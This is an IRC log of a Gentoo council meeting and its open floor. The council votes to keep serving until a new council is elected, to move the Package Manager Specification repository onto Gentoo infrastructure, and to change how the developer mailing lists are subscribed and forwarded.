+[16:02] --- kingtaco|work sets modes [#gentoo-council +m]
+[16:02] <kingtaco|work> lets get this shit started
+[16:02] <-- amne has quit (Remote closed the connection)
+[16:02] <kingtaco|work> roll call
+[16:02] <Uber> I'm 'ere
+[16:02] <kingtaco|work> Kugelfang, robbat2, SpanKY, Uber, wolf31o2|work
+[16:02] <robbat2> hi
+[16:03] --> amne (n=amne@85-124-176-198.dynamic.xdsl-line.inode.at) has joined #gentoo-council
+[16:03] <kingtaco|work> ....
+[16:04] <kingtaco|work> I don't have time to idle
+[16:04] <vapier> ?
+[16:04] <Kugelfan3> pon
+[16:04] <Kugelfan3> g
+[16:04] <kingtaco|work> anyone have any agenda?
+[16:04] <Kugelfan3> me neither
+[16:04] <vapier> i dont one's been posted, but i'd like to know what's up with pms repo on gentoo.org
+[16:04] <vapier> and we should decide about sept
+[16:04] <-- desultory has quit (Client Quit)
+[16:05] --> desultory (n=dean@gentoo/developer/desultory) has joined #gentoo-council
+[16:05] <kingtaco|work> whats up with sept?
+[16:05] <Uber> maybe it's on one of the servers that was taken down recently
+[16:05] <kingtaco|work> um, we don't have any servers by that name
+[16:05] --> hparker (n=hparker@gentoo/developer/hparker) has joined #gentoo-council
+[16:05] <vapier> as in the month
+[16:05] <vapier> toolbox
+[16:06] --> dostrow (n=dostrow@gentoo/developer/dostrow) has joined #gentoo-council
+[16:06] <vapier> this is supposed to be our last meeting, new council in sept
+[16:06] <vapier> however due to delays, voting doesnt end soon enough
+[16:06] <kingtaco|work> fox2mike announced the vote this morning
+[16:06] <kingtaco|work> I suppose a meeting is skipped
+[16:06] <vapier> i'd make the statement: sept is a floating month ... if new council isnt voted in soon enough, existing council handles sept
+[16:07] <Kugelfan3> sounds fair enough
+[16:07] <vapier> but regardless, aug will continue to be the official last month
+[16:07] <Uber> yeah, we should always have a council
+[16:07] <vapier> so we dont have to deal with an ugly sliding window of "1 year"
+[16:07] <kingtaco|work> sure
+[16:07] <robbat2> my bad on the pms repo, but the PMS guys haven't done much lately either - http://pastebin.ca/660160
+[16:07] <robbat2> there was still flak from them on why to have it moved anyway
+[16:07] <robbat2> more on that in a bit
+[16:08] <vapier> one sec
+[16:08] <vapier> we agree on the sept issue ?
+[16:08] --> astinus (n=alex@gentoo/developer/astinus) has joined #gentoo-council
+[16:08] * Uber votes yes
+[16:08] <vapier> sound off like you have a pair
+[16:08] <kingtaco|work> vote: old council will stay past their date in the event a new council hasn't been elected
+[16:08] <Kugelfan3> yes
+[16:08] <robbat2> yes
+[16:08] <vapier> yes
+[16:08] <kingtaco|work> yes
+[16:08] <wolf31o2|work> yes
+[16:08] * kingtaco|work prods Uber 
+[16:09] <vapier> i'll tweak the glep/docs/whatever and make announce later
+[16:09] <kingtaco|work> WFM
+[16:09] <kingtaco|work> next
+[16:09] <kingtaco|work> pms stuff
+[16:09] <kingtaco|work> robbat2, vapier ?
+[16:09] <vapier> i'm not going to hound pms until gentoo.org repo is ready
+[16:09] <vapier> and i have yet to hear "it is" from robbat2
+[16:10] <kingtaco|work> robbat2, ?
+[16:10] <robbat2> there's give and take that they didn't want to give up being able to commit directly, that's also what other projects are saying that want external folk working on things (overlays most notably)
+[16:10] <robbat2> i still haven't gotten the ACL stuff safe to my satisfaction either
+[16:10] --> jaervosz (n=jaervosz@3305ds1-ar.0.fullrate.dk) has joined #gentoo-council
+[16:10] <robbat2> that's why I haven't called it 'ready'
+[16:10] --- kingtaco|work sets modes [#gentoo-council +o jaervosz]
+[16:11] <robbat2> it's as up to date as the upstream SVN
+[16:11] <robbat2> which isn't moving fast at all
+[16:11] <kingtaco|work> delay yet another month?
+[16:12] <robbat2> i'd like to ask
+[16:12] <vapier> here's the part i want: when you say the repo is in a usable state with ACL's able to grant/revoke write access
+[16:12] <vapier> when that is ready, we move it and we're done
+[16:13] <robbat2> i see some repos moving away from Gentoo infra already because people want external contributors, and infra has historically said we won't give it to them
+[16:13] <kingtaco|work> I don't see that changing anytime soon
+[16:13] <kingtaco|work> not on the cvs/svn server
+[16:13] <robbat2> from a security point of view
+[16:13] <robbat2> it's not safe to do with CVS and SVN
+[16:13] <kingtaco|work> maybe someplace else like overlays or soc or sunrise
+[16:13] <robbat2> but is doable safely with Git
+[16:13] <robbat2> witness repo.or.cz
+[16:13] <robbat2> which is where some of the gentoo repos have moved
+[16:14] <kingtaco|work> they can stay IMO
+[16:14] <kingtaco|work> infra is taxed enough as it is
+[16:14] <kingtaco|work> we don't need to be supporting every single rcs
+[16:14] <Kugelfan3> that begs the question why PMS can't... (playing advocatus diaboli)
+[16:14] <vapier> if there were a gentoo git server, it'd be a non-issue
+[16:15] <kingtaco|work> vapier, read my statement that infra is over taxed
+[16:15] <kingtaco|work> and before you start the bring more people on, we just did
+[16:15] <robbat2> if I were less busy i'd have the ACLs done already
+[16:15] <vapier> everyone is taxed
+[16:15] <vapier> that's the nature of open source
+[16:16] <robbat2> so the better question, continuing Kugelfan3's point - why force PMS to move if we are letting others stay out there?
+[16:16] <robbat2> it's certainly less load on infra if they stay out
+[16:16] <Uber> so ciaranm has commit access I thought
+[16:16] <kingtaco|work> because they are working on overlays and shit like that, not core policy
+[16:16] <vapier> i dont believe in something that Gentoo relies critically on can live outside of Gentoo
+[16:17] <wolf31o2|work> I tend to agree... something like the specification that defines what is a Gentoo package manager should live within Gentoo
+[16:17] * Uber agrees also
+[16:17] <wolf31o2|work> after all, the package management system is likely the main defining point of Gentoo
+[16:17] <robbat2> it's a document, we don't rely on it, you can break it, it won't break anything in systems
+[16:17] <vapier> i think you need to review your definition of "rely"
+[16:18] <Uber> robbat2: it's like hosting our mission statement on windows servers
+[16:18] <wolf31o2|work> if the document is incorrect and a package manager is released following the incorrect spec, you *can* break boxes
+[16:18] <kingtaco|work> s/can/will
+[16:19] <vapier> the pms doc is a guarantee ... if you use a pm that follows the pms, then things in the tree should work
+[16:19] <wolf31o2|work> exactly
+[16:19] <robbat2> if the overlays weren't so overloaded, we could just trivially move PMS's SVN there
+[16:19] <kingtaco|work> that said, do we(gentoo) need a pms or is it more for the external pm
+[16:20] <kingtaco|work> looking at who contributes to it, it's mainly the paludis group
+[16:20] <wolf31o2|work> kingtaco|work: Gentoo has no need for a PMS if we're only supporting portage... it was written pretty much exclusively to allow external package managers to be on the same page as portage
+[16:20] <kingtaco|work> which makes me wonder, does gentoo define is specs by what's in the tree
+[16:20] <robbat2> Jokey points out that the finnish translations already use the overlays box in the same fashion that I suggest for PMS
+[16:20] <robbat2> so there is certainly precedent
+[16:20] <robbat2> and it works
+[16:20] <kingtaco|work> it's possible that any PMS is of primary use for external projects and perhaps we don't need to involve ourselves
+[16:21] <robbat2> i see the goal of PMS as allowing external PMs to be supported in Gentoo
+[16:21] <robbat2> because they do the same thing as Portage
+[16:21] <wolf31o2|work> has anyone ever thought to ask if Gentoo even cares to support external package managers?
+[16:21] <kingtaco|work> I have no desire to support anything other than what gentoo calls official
+[16:21] <-- jaervosz has quit (Read error: 104 (Connection reset by peer))
+[16:22] <Uber> we have some Gentoo users who do care
+[16:22] <kingtaco|work> I also have no desire to verify that an external manager is indeed PMS compliant
+[16:23] <wolf31o2|work> Uber: users don't have to actually do the support, so I'm not sure that make s a bit of difference... after all, users can do whatever they want to their systems... doesn't mean we have to support it in any way
+[16:23] <kingtaco|work> I'd rather let the portage devs dictate what EAPI does what
+[16:23] <Kugelfan3> afaik portage devs do want PMS
+[16:23] <Kugelfan3> but i might be wrong
+[16:23] <kingtaco|work> if an external manager wants to follow what we do fine.  if they don't thats fine too.
+[16:24] <wolf31o2|work> do they really want it? or do they just want it to shut up the external guys? (I'm honestly asking, I have no clue)
+[16:24] <kingtaco|work> I suspect the latter
+[16:24] <-- test has quit (Remote closed the connection)
+[16:25] <Kugelfan3> kingtaco|work: that is what you suspect... why don't you ask them?
+[16:25] <Kugelfan3> like zmedico
+[16:25] <Uber> wolf31o2|work: I don't see it as any different compared to say supporting a another OS inside of portage
+[16:25] --- kingtaco|work sets modes [#gentoo-council +v zmedico]
+[16:25] <kingtaco|work> zmedico, ping
+[16:25] <wolf31o2|work> Uber: I don't get your meaning
+[16:26] <zmedico> pong
+[16:26] <vapier> Uber: in that case, there are developers actively working on it because they care about it
+[16:26] <Uber> wolf31o2|work: do you expect package owners to fix freebsd bugs with their packages or the freebsd team?
+[16:26] <wolf31o2|work> Uber: that has nothing to do with an external project, so again, I don't get the bearing on this conversation
+[16:27] <kingtaco|work> zmedico, regarding PMS, would the portage team rather develop portage and define EAPI bumps along the way or does the team feel it's important to go the PMS route?
+[16:28] <Uber> wolf31o2|work: no, but it has everything todo with package support which is your bone of contention
+[16:28] <wolf31o2|work> the gentoo/freebsd team *is* a gentoo project, not external... as for who I would expect to fix the packages... both... package maintainers should be writing ebuilds in a portable manner and the alt arch guys should be pointing out issues as they see them and either fixing them or the maintainer fixing them, depending on the severity and extent of the issue at hand... but again, that has nothing to do with external projects
+[16:28] <wolf31o2|work> ok... that's not what I'm saying, at all
+[16:28] <wolf31o2|work> but I really don't care to continue trying to state my point repeatedly... so I'll just say "sure" and we can move on
+[16:29] <vapier> portable isnt quite the word ... we've got an informal standard of things that are/are not OK
+[16:29] <vapier> which is fluid and changes as agreed on gentoo-dev mailing list
+[16:29] * wolf31o2|work hands the pedantic hat to vapier 
+[16:29] <wolf31o2|work> I mean things like... using "cp -a"
+[16:29] <kingtaco|work> gimme my hat back bitch
+[16:29] <zmedico> kingtaco|work: EAPI bumps should be based on input from the general ebuild developer community I think, since the the purpose of EAPI bumps is to give them features that they want.
+[16:29] <kingtaco|work> zmedico, thanks
+[16:29] <vapier> OK: gnu make NOT: crappy POSIX make
+[16:30] <wolf31o2|work> sure
+[16:30] <wolf31o2|work> and if I start using "cp -a" in ebuilds, I'd expect the freebsd guys to come give me a good hard ass kicking
+[16:31] <Uber> yes you would :P
+[16:31] <kingtaco|work> ok, so I ask again, why does gentoo itself care about PMS
+[16:31] <Uber> cp -RPp
+[16:31] <vapier> but *only* because we agreed on the ass kicking ahead of time on the gentoo-dev mailing list
+[16:31] * Uber nods
+[16:31] <wolf31o2|work> we care about it only to define what features are supported in a given EAPI version so it can be used by ebuilds devs
+[16:31] <kingtaco|work> no, the discussion on -dev ml defines eapi bumps
+[16:32] <vapier> which brings us back to do we just merge the doc into portage svn or overlay svn and be done
+[16:32] <vapier> when we agreed on project originally, we gave it to the QA team to maintain
+[16:32] <kingtaco|work> or just ignore it, and start working on eapi1
+[16:32] <kingtaco|work> which has been needed for quite a while
+[16:33] <kingtaco|work> vapier, would seem they've dropped the ball
+[16:33] <zmedico> it's more specific features that are needed than just an "eapi1"
+[16:33] <wolf31o2|work> I agree... it's been a year and we still don't have a completed spec...
+[16:34] <vapier> eh, i would look at it more along the lines of is the QA team even appropriate
+[16:34] <kingtaco|work> in it's current form, I'd say no
+[16:34] <vapier> having it split between teams seems to have just added overhead
+[16:35] <-- Ingmar^ has quit (Read error: 60 (Operation timed out))
+[16:35] <wolf31o2|work> I would say no...
+[16:35] <vapier> if the route we're going is that we dont add crazy things to EAPI/PMS unless we cover it in gentoo-dev, then having it be with the current package manager would lessen that maintenance
+[16:36] <wolf31o2|work> ok... do new features require council buy-in?
+[16:36] <vapier> i think originally the idea was that we needed QA team to watch over it as we had a much more fluid "standard"
+[16:36] <wolf31o2|work> well, it was the qa team that was pretty much asking for it, too
+[16:36] <vapier> but the portage team has reeled themselves in wrt keeping things stable
+[16:36] <vapier> true
+[16:36] --> jaervosz (n=jaervosz@3305ds1-ar.0.fullrate.dk) has joined #gentoo-council
+[16:36] <vapier> i dont think stating council buy in is appropriate
+[16:37] <vapier> handle it like anything else ... let it sort itself out and if it doesnt, then we stick a foot in it
+[16:37] <vapier> the figurative "Council Boot" if you will
+[16:38] <wolf31o2|work> ok... reason I am asking is it would determine where pms would best fit... being a global technical document, the best place for it really is the council... in fact, all of our technical specifications really belong under the council, being the council is the primary technical decision-making body...
+[16:38] <wolf31o2|work> which would still work with the "council boot"
+[16:39] <vapier> we take a more fallback guidance roll rather than being on the fore-front
+[16:39] <kingtaco|work> is there a license on the pms stuff?
+[16:39] <-- jaervosz has quit (Read error: 104 (Connection reset by peer))
+[16:39] <vapier> it's all create commons
+[16:39] <vapier> so yes, we can just take it
+[16:39] <kingtaco|work> iirc it's ccsa, but I don't remember exactly
+[16:39] <kingtaco|work> so just take it and be done
+[16:40] <kingtaco|work> the cryers are going to cry no matter what we do
+[16:40] <vapier> the community decides, council steps in when community cant sort itself out
+[16:40] <kingtaco|work> people will leave
+[16:40] <kingtaco|work> shit happens
+[16:40] <kingtaco|work> the community hasn't said anything on it in months
+[16:40] <vapier> i think anyone who would leave over pms has already left ;)
+[16:40] <kingtaco|work> we're in limbo
+[16:40] <kingtaco|work> lets get out and be done with it
+[16:40] <robbat2> nobody has brought a new GLEP up in many months
+[16:40] <Kugelfan3> vapier: no, i haven't yet
+[16:40] <Kugelfan3> vapier: but i will
+[16:41] <wolf31o2|work> so we pull it in house, finalize it, publish it as a finished spec, then move onto the next thing...
+[16:41] <vapier> whatever floats your boat
+[16:41] <kingtaco|work> I don't understand why we have to accomodate any external party
+[16:41] <wolf31o2|work> well, no matter what, the finished version of the spec needs to be on our infra somewhere... even if the repo behind it isn't... I just dont' see a point in keeping them separate
+[16:41] <kingtaco|work> we might choose to, but being forced like this is silly
+[16:42] <wolf31o2|work> we aren't forced to
+[16:42] <robbat2> if we fork it to inhouse, will the inhouse fork still have enough momentum?
+[16:42] <wolf31o2|work> we can pull the repo right now
+[16:42] <kingtaco|work> then why are we doing all this git shit?
+[16:42] <wolf31o2|work> robbat2: what momentum?
+[16:42] <wolf31o2|work> heh
+[16:42] <robbat2> touche
+[16:42] <vapier> yeah, what momentum
+[16:42] <vapier> there is no fork, there is only what represents the tree
+[16:43] <Uber> well, i would imagine there would be some momentum if that happens
+[16:43] <Uber> cue lots of posts to -dev by the usual suspects
+[16:43] <vapier> Gentoo is open sourced, people can do whatever they like with the code
+[16:44] <robbat2> (next agenda item: ML review, requested by tomk)
+[16:44] <wolf31o2|work> right... so we pull it in and the naysayers be damned?
+[16:45] <vapier> it isnt like where we'd be putting it would damn people
+[16:45] <wolf31o2|work> I mean, we already know that any decision (including the lack of one) will cause a flame war
+[16:45] <Uber> i would say yes to bring it under our full control at lesat
+[16:45] <wolf31o2|work> so let's just do what we think is best and deal with it
+[16:45] <robbat2> so move it to overlays, just like the .fi translations?
+[16:45] <vapier> Kugelfang, spb, whoever can still commit all they like
+[16:45] <wolf31o2|work> robbat2: how far away is the SoC box?
+[16:45] <robbat2> wolf31o2|work, ask kingtaco|work
+[16:46] <wolf31o2|work> (I'd prefer not abuse overlays if we don't have to)
+[16:46] <wolf31o2|work> kingtaco|laptop: ^^
+[16:47] <kingtaco|work> it's been ready
+[16:47] <kingtaco|work> gimme a svn dump and it's a command away
+[16:47] <robbat2> vote: move PMS as-is SVN to SoC/Overlays/svn.g.o
+[16:47] <kingtaco|work> user management is vanilla so that'll suck
+[16:47] <kingtaco|work> but it's doable
+[16:48] <vapier> what is the SoC box ?
+[16:48] <kingtaco|work> a box meant for hosting SoC projects and the like
+[16:48] <kingtaco|work> the closest thing we've got to allowing external people repo access
+[16:49] <wolf31o2|work> vapier: it is a new box that is half-dev/half-infra that will host repos allowing for non-gentoo contributors... for the SoC projects but also usable for this sort of thing
+[16:49] <kingtaco|work> sorta like sunrise
+[16:49] <vapier> does svn http://
+[16:49] <wolf31o2|work> my vote: yes
+[16:49] <kingtaco|work> ssh currently
+[16:50] <kingtaco|work> hold on a sec
+[16:50] <kingtaco|work> on that vote
+[16:50] <kingtaco|work> vote for it to go to a specific place, not a "throw the problem at infra"
+[16:50] <vapier> we've already thrown it at infra
+[16:50] <wolf31o2|work> why? the council doesn't care what specific box it resides on... that's infra's job... all we care about is if it is on our infra or not
+[16:50] * vapier looks at robbat2 
+[16:51] <kingtaco|work> why?
+[16:51] <wolf31o2|work> do you really want the council telling you how to run your infra?
+[16:51] <kingtaco|work> because infra doesn't want to choose acls for it
+[16:51] <kingtaco|work> so maybe reword that
+[16:52] <vapier> i recall infra getting angry last time we told them how to run infra
+[16:52] <Uber> why does it need acls? any dev can commit to the tree, why not pms?
+[16:52] <kingtaco|work> what about external people?
+[16:52] <kingtaco|work> that's the problem
+[16:52] <wolf31o2|work> uhh... wouldn't the acls be per-repo anyway?
+[16:52] <kingtaco|work> ok, you're missing the point
+[16:52] <wolf31o2|work> apparently
+[16:53] <kingtaco|work> only current gentoo developers and staff have access to the cvs/svn repos
+[16:53] <kingtaco|work> that will not change
+[16:53] <wolf31o2|work> correct... on our main svn/cvs box
+[16:53] <kingtaco|work> that would be the default place we would put something like this
+[16:53] <kingtaco|work> there is an open unanswered question about external contributors
+[16:53] <kingtaco|work> answer that and infra will work the magic
+[16:53] <kingtaco|work> grok?
+[16:53] <wolf31o2|work> then ask that question rather than beating around the bush... :P
+[16:53] <wolf31o2|work> yep
+[16:54] <wolf31o2|work> so... do we care about external contributors being able to directly commit at this point?
+[16:54] <kingtaco|work> the way the vote was worded forced that question onto infra
+[16:54] <kingtaco|work> hence my objection
+[16:54] <Uber> i care for them not to directly
+[16:54] <wolf31o2|work> I don't see there being enough activity to justify it anymore... so I would say that we are not at the mercy of external contributors
+[16:55] <kingtaco|work> so the vote really is: allow direct external contributors to spec repo
+[16:55] <Uber> and if you are skilled enough to contrib to the PMS then you should by default be a Gentoo dev anyway
+[16:55] --> jaervosz (n=jaervosz@3305ds1-ar.0.fullrate.dk) has joined #gentoo-council
+[16:55] <robbat2> Uber, careful with that, re ciaranm
+[16:55] <wolf31o2|work> Uber: that's untrue and PMS is a prime example
+[16:55] <wolf31o2|work> ex-devs can be skilled enough, too
+[16:55] <wolf31o2|work> ;]
+[16:56] <kingtaco|work> Uber, technical skill alone does not make a gentoo dev
+[16:56] <Uber> yes, but isn't that the point - ex dev means not a gentoo developer. Hence as they're not a gentoo developer then they have less power to affect gentoo development
+[16:56] <robbat2> how about this then: infra gets it moved to a Gentoo box asap, and shuffles it to soc/overlays later if there is a large demand for direct external commits
+[16:57] <wolf31o2|work> I'd agree to that
+[16:58] <Uber> ok
+[16:58] <-- jaervosz has quit (Read error: 104 (Connection reset by peer))
+[16:58] --> Ingmar^ (n=ingmar@83.101.12.130) has joined #gentoo-council
+[16:58] <kingtaco|work> vote: fork current external pms repo into svn.gentoo.org and follow up if/when external contributors whine
+[16:59] <Kugelfan3> no
+[16:59] <vapier> what is the follow up
+[16:59] <vapier> what i've heard in the past was "no"
+[17:00] <kingtaco|work> the follow up is someone deciding if/when to move it to a place where external people can commit directly
+[17:00] <robbat2> Kugelfan3, do you want it straight to somewhere that externals can commit directly?
+[17:01] <robbat2> or just don't want it to move
+[17:01] <wolf31o2|work> does it matter?
+[17:01] <wolf31o2|work> it's a yes or no vote
+[17:01] <wolf31o2|work> ;]
+[17:01] <Kugelfan3> heh
+[17:01] <robbat2> i'm wondering why he said no
+[17:01] <Kugelfan3> robbat2: don't move....
+[17:01] <wolf31o2|work> my vote: yes
+[17:01] <vapier> that doesnt answer his question
+[17:02] <kingtaco|work> y'all can vote any time...
+[17:02] <robbat2> yes
+[17:02] <kingtaco|work> don't get shy now
+[17:02] <Uber> yes
+[17:02] <kingtaco|work> vapier, ?
+[17:03] <vapier> i'm for it ... unify current + portage access to the repo
+[17:03] <robbat2> kingtaco|laptop, jaervosz?
+[17:04] <kingtaco|work> my vote is yes
+[17:04] <kingtaco|work> jaervosz is a slacker today
+[17:04] <robbat2> and jaervosz seems to have timed out again
+[17:04] <robbat2> ok, so it's passed and done
+[17:04] <kingtaco|work> any other topics?
+[17:04] <robbat2> infra needs to get an svndump from the existing site
+[17:05] <robbat2> and then just put it online
+[17:05] <kingtaco|work> robbat2, I thought you had one?
+[17:05] <Kugelfan3> ask spb for it
+[17:05] <robbat2> kingtaco|work, I made my git clone via a pull
+[17:05] <wolf31o2|work> mailing lists is next
+[17:05] <robbat2> tomk wanted to know abouts lists
+[17:05] <robbat2> gentoo-dev-announce exists
+[17:05] <robbat2> for cross-posting
+[17:06] <robbat2> there is a hiccup
+[17:06] <robbat2> if you send the message only to gentoo-dev-announce, the auto cross-post fails
+[17:06] <kingtaco|work> I don't think it necessary to vote on moderating -dev list.  -project and -dev-announce seem to have resolved everything
+[17:06] <robbat2> if you put both addresses in to/cc, then the manual copy AND the auto-cross-post get to -dev
+[17:06] <Uber> kingtaco|work: true enough - -dev is running smoothly along :)
+[17:06] <wolf31o2|work> why is dev-announce auto-forwarding anyway?
+[17:06] <wolf31o2|work> it makes it *so* much less useful that way
+[17:07] <robbat2> because people asked for it
+[17:07] <kingtaco|work> so devs can sub to only dev-announce
+[17:07] <kingtaco|work> or only -dev
+[17:07] <kingtaco|work> and noone misses out on announcements
+[17:07] --> windzor (n=windzor@82.143.229.102) has joined #gentoo-council
+[17:07] <wolf31o2|work> but it makes it completely useless for other lists
+[17:07] <kingtaco|work> there is some training that has to be done there
+[17:07] <robbat2> tell them just to sub?
+[17:07] <robbat2> to dev-announce or both
+[17:07] <Uber> yeah, just auto-subscribe all devs or tell em to
+[17:07] <wolf31o2|work> I think it would be easier to just sub all devs to core and announce
+[17:07] <wolf31o2|work> right
+[17:08] <wolf31o2|work> let them decide if they want to sub to projects and dev themselves
+[17:08] <kingtaco|work> that works
+[17:08] <wolf31o2|work> so, for example, I can send a mail to dev-announce announcing something on the releng list
+[17:08] <kingtaco|work> still have to train people to send to the right list though
+[17:08] <wolf31o2|work> that's fine... brow beating works wonders for that sort of thing
+[17:08] <wolf31o2|work> =]
+[17:08] <robbat2> ok, so i'll go and turn off auto-forwarding and sub alls devs to dev-announce
+[17:09] <kingtaco|work> also need to make devrel aware of the changes so they can adjust recruiters procedures
+[17:09] <robbat2> i think that part is scripted, so just adjust the script
+[17:09] <wolf31o2|work> cool... I'm going to research if it is possible to allow for a default reply-to that can be overridden... so I can set reply-to tp gentoo-releng on my releng announcements
+[17:09] <wolf31o2|work> =]
+[17:09] <kingtaco|work> um, it wasn't when I left
+[17:09] <kingtaco|work> we had to go to the mlmmj interface for -core
+[17:10] <kingtaco|work> who's a recruiter in here?
+[17:10] <wolf31o2|work> it still isn't, according to phreak when I asked about adding a gwn email to their recruitment scripts
+[17:10] --- kingtaco|work sets modes [#gentoo-council +v Betelgeuse]
+[17:10] <kingtaco|work> Betelgeuse, you here?
+[17:10] <robbat2> the unsub portion is definetly scripted
+[17:10] <kingtaco|work> but not the sub
+[17:11] <robbat2> what lists? -core, -dev-announce? i'll do a script right now
+[17:11] <kingtaco|work> ok, do we need to vote on this?
+[17:11] <robbat2> i don't think so
+[17:11] <kingtaco|work> nor I
+[17:12] <vapier> if it's part of the recruitment process, just let em decide
+[17:12] <vapier> auto subscribe to all the lists that devs are *supposed* to be one
+[17:12] <vapier> if they dont want to be on them, they can unsub
+[17:12] <kingtaco|work> WFM
+[17:12] <wolf31o2|work> yeah, I don't think it needs a vote...w e all seem to be in agreement
+[17:12] <kingtaco|work> any thing else on this topic?
+[17:12] <kingtaco|work> no?
+[17:12] <kingtaco|work> ok
+[17:13] <vapier> umm, i think there was something on 4chan.org/b
+[17:13] <kingtaco|work> anyone have anything else?
+[17:13] <kingtaco|work> hahaahah
+[17:13] <kingtaco|work> anonymous++
+[17:13] <vapier> kingtaco|laptop: you post logs/summary for last meeting
+[17:13] <Betelgeuse> kingtaco|work: yes
+[17:13] <wolf31o2|work> yes, we're going to pull a feed from 4chan to the front page, right?
+[17:13] <Betelgeuse> kingtaco|work: what do you need?
+[17:13] <vapier> cause if you didnt, you need to
+[17:13] <kingtaco|work> vapier, I don't log anymore
+[17:13] <kingtaco|work> if you don't see my base nick I don't have a log
+[17:13] <vapier> i was a slacker at that meeting
+[17:14] <kingtaco|work> Betelgeuse, how new devs are sub'd to -core
+[17:14] <robbat2> i'll give you my logs, and you can summarize
+[17:14] <vapier> so someone needs the logs for it
+[17:14] <Betelgeuse> kingtaco|work: recruiters add them
+[17:14] <Betelgeuse> kingtaco|work: via a web interface
+[17:14] <robbat2> Betelgeuse, care for a one-shot script?
+[17:14] <kingtaco|work> Betelgeuse, k, that's what we assumed, wanted to make sure it didn't change
+[17:14] <vapier> robbat2: just e-mail them to me please
+[17:14] <Betelgeuse> robbat2: script?
+[17:14] <Betelgeuse> robbat2: For what?
+[17:14] <kingtaco|work> ok, any other topics?
+[17:15] <kingtaco|work> we really gotta stay focused
+[17:15] <kingtaco|work> people got work to do
+[17:15] --> jaervosz (n=jaervosz@3305ds1-ar.0.fullrate.dk) has joined #gentoo-council
+[17:15] <kingtaco|work> last chance....
+[17:15] <vapier> i think we're done
+[17:15] <-- igli (n=igli@unaffiliated/igli) has left #gentoo-council
+[17:15] --- kingtaco|work sets modes [#gentoo-council -m]
+[17:15] <kingtaco|work> open floor
+[17:15] <vapier> robbat2: actually i see 20070712 posted, so someone did it
+[17:15] <kingtaco|work> flame away
+[17:16] <agaffney> heh, I apparently missed the council meeting
+[17:16] <vapier> robbat2: actually it looks like *you* did it
+[17:16] <wolf31o2|work> go andrew!
+[17:16] <agaffney> I just switched to this window
+[17:16] <fmccor|home> Suggestion for next meeting --- why not postpone it until after election, like this one was postponed for LWE?
+[17:16] <eroyf> Now, you've been talking about moving PMS for many months now. What is the technical reason for such a move?
+[17:16] <agaffney> did I miss anything interesting? :P
+[17:16] <vapier> you missed the no-pants-vote
+[17:16] <genone> Kugelfan3: while you're here, care to say who's in charge of eselect while you and spb aren't around?
+[17:17] <robbat2> vapier, well do you have logs of this one?
+[17:17] <dostrow> vapier: quick question....once pms is on gentoo infra when will it be officially stamped as "accepted"?
+[17:17] <vapier> robbat2: yes
+[17:17] <fmccor|home> Similar situation --- this one was moved because council could not be here last week.  Move next for same reason.
+[17:17] <Kugelfan3> genone: ask pioto
+[17:17] <vapier> dostrow: dont see why not once we get the few things missing merged
+[17:17] <vapier> fmccor: makes sense
+[17:18] <fmccor|home> vapier, By accident, that happens on occasion. :)
+[17:18] <wolf31o2|work> fmccor: the council isn't only the council for the meetings... they're the council the entire time... one way or another, we have to stay on as council until the election is done
+[17:18] <wolf31o2|work> whether we end up at the next meeting or not
+[17:18] <fmccor|home> Sure.  I was only talking of the meeting date.
+[17:19] <vapier> both good points
+[17:19] <fmccor|home> So that next council would have their full 12 meetings.
+[17:19] <vapier> i'll post log/summary if no one else wants to
+[17:19] <eroyf> Noone able to answer my question?
+[17:19] <robbat2> eroyf, it was answered during the council meeting
+[17:19] <Uber> vapier: i think you've just talked yourself into doing it :P
+[17:19] <vapier> READ THE LOG
+[17:19] <eroyf> I didn't see it.
+[17:19] <Uber> WHEN HE POSTS IT
+[17:19] <vapier> IN MY BUTT
+[17:20] <vapier> i'll audit that part
+[17:20] <eroyf> I saw that someone didn't want to commit to PMS because it was not on Gentoo infrastructure.
+[17:20] <Uber> lol
+[17:20] <-- Jointy (n=j0inty@dslb-084-058-236-123.pools.arcor-ip.net) has left #gentoo-council
+[17:21] <-- Ingmar^ has quit (Read error: 60 (Operation timed out))
+[17:22] <kingtaco|work> fmccor|home, we can always vote to simply adjurn next meeting
+[17:22] <vapier> going for a run first
+[17:22] <kingtaco|work> then the new kids can hold their own
+[17:22] <vapier> work off my "LWE 15"
+[17:22] <vapier> i blame ktaco
+[17:22] <kingtaco|work> haha
+[17:22] <kingtaco|work> strike me down!
+[17:22] <Uber> is that 15 inches extra?
+[17:22] <kingtaco|work> your mom wishes!
+[17:22] <vapier> rofl
+[17:23] --> Ingmar^ (n=ingmar@83.101.12.130) has joined #gentoo-council
+[17:23] --- rbrown`_ is now known as rbrown`
+[17:23] <Philantrop> eroyf: The argument was not primarily a technical one but an organisational one - PMS (quoting wolf31o2|work) "being a global technical document, the best place for it really is the council... in fact, all of our technical specifications really belong under the council, being the council is the primary technical decision-making body". PMS defines how a PM should work and how things at the heart of Gentoo work. Thus, it should be
+[17:23] <Philantrop> stored on Gentoo infrastructure. (Everything not marked with quotation marks is my understanding only.)
+[17:24] <fmccor|home> kingtaco|work, sure.  I just thought that since election ends in a month, just moving the meeting date by a week (or 2 weeks, however it works out) was simplest.  Moving this meeting set a precedent for that sort of thing.
+[17:24] <kingtaco|work> fmccor|home, not really, we've moved meetings before
+[17:24] <fmccor|home> Even better. :)
+[17:25] <jmbsvicetto> fmccor|home: The date for the meetings is also set by each council
+[17:25] <jmbsvicetto> fmccor|home: The next council might decide to have meeting on full moons thursdays at 2AM UTC ;)
+[17:25] <eroyf> Philantrop: so basicly. There's no technical reason
+[17:26] <wolf31o2|work> oh wait... back onto dev-announce... should we disable the reply-to munging on it or no?
+[17:26] <fmccor|home> jmbsvicetto, I suppose.  Does that guarantee any meetings?
+[17:26] <Philantrop> eroyf: That is my understanding.
+[17:26] <eroyf> Philantrop: yup.
+[17:26] <cruxeternus> eroyf: Doesn't sound like it.  What's you're next question?
+[17:26] <jmbsvicetto> fmccor|home: I think that would give us a meeting every 28 days ;)
+[17:26] <robbat2> wolf31o2|work, yes
+[17:26] <genone> wolf31o2|work: is it possible to add reply-to if noone is set by the sender?
+[17:27] <wolf31o2|work> robbat2: k... I'm on it
+[17:27] <robbat2> unforuntely not
+[17:27] <robbat2> wolf31o2|work, i'm there already
+[17:27] <robbat2> don't touch
+[17:27] <fmccor|home> jmbsvicetto, except for that "Thursday" requirement.
+[17:27] <wolf31o2|work> genone: I'm trying to fidn out... I'd love to be able to do that, but I don't think that we can
+[17:27] <wolf31o2|work> robbat2: ok... I was already there, too
+[17:27] <wolf31o2|work> heh
+[17:27] <genone> sucks
+[17:28] <robbat2> wolf31o2|work, at some point, we need to make mlmmj pass the mail through procmail just before it goes into outgoing delivery
+[17:28] * Uber outs
